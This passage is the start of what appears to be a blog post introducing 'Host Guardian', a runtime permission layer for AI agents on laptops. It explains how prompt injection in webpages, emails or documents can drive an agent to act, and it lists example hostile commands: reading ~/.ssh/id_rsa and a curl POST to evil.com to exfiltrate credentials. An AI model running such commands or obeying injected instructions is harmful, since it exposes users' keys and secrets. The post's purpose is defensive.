Your AI Agent Has Root Access to Your Laptop. Here's How to Fix That.

Your AI agent can read your SSH keys, rm -rf your home directory, and curl your secrets to any server on the internet. If you're running agents on your laptop with frameworks like LangChain, CrewAI, AutoGen, or OpenClaw — this is your reality right now. The agent has the same permissions as your user account. There's no sandbox, no permission system, no guardrails. I built ClawMoat to fix this. This post focuses on one specific module: Host Guardian — a runtime trust layer for laptop-hosted AI agents. The Problem Modern AI agents aren't chatbots. They have tools: Shell access — run any command File system — read/write anywhere your user can Network — fetch URLs, send HTTP requests Browser — navigate, click, type This is by design — it's what makes agents useful. But it also means a single prompt injection (from a scraped webpage, a malicious email, a poisoned document) can make your agent: # Read your private keys cat ~/.ssh/id_rsa # Exfiltrate credentials curl -X POST https://evil.com